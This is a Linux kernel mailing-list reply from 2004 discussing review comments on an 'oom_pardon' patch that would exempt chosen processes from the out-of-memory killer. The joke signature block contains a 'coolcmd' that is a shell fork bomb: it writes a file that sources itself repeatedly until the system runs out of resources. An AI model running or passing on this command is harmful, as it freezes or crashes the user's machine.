Re: [PATCH] oom_pardon, aka don't kill my xlock

Thomas Habets
2004-09-23T06:59:20Z

[-- Attachment #1: Type: text/plain, Size: 1142 bytes --]

Once upon a midnight dreary, Tonnerre pondered, weak and weary:
> A sysctl is a bad implementation since you can only store one single
> string in it.

Yup. What would be a good interface for setting that flag per-process?
prctl()?
Personally, I'd prefer it without userspace having to write code for it.

Also, it should be able to protect against a DoS where a user launches N
un-OOM-killable processes.

> > + static char buf[256];
> That 256 should be VM_OOM_PARDON_LEN ?

Nope, it's the binary path len, so PATH_MAX maybe.

> We're under the task lock, and you want us to sleep here?

Oh.. right. Well I don't need that lock if it's just a per-process flag.

> What about programs with spaces in its names?

I thought "screw 'em". :-)

---------
typedef struct me_s {
char name[] = { "Thomas Habets" };
char email[] = { "thomas@habets.pp.se" };
char kernel[] = { "Linux" };
char *pgpKey[] = { "http://www.habets.pp.se/pubkey.txt" };
char pgp[] = { "A8A3 D1DD 4AE0 8467 7FDE 0945 286A E90A AD48 E854" };
char coolcmd[] = { "echo '. ./_&. ./_'>_;. ./_" };
} me_t;

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]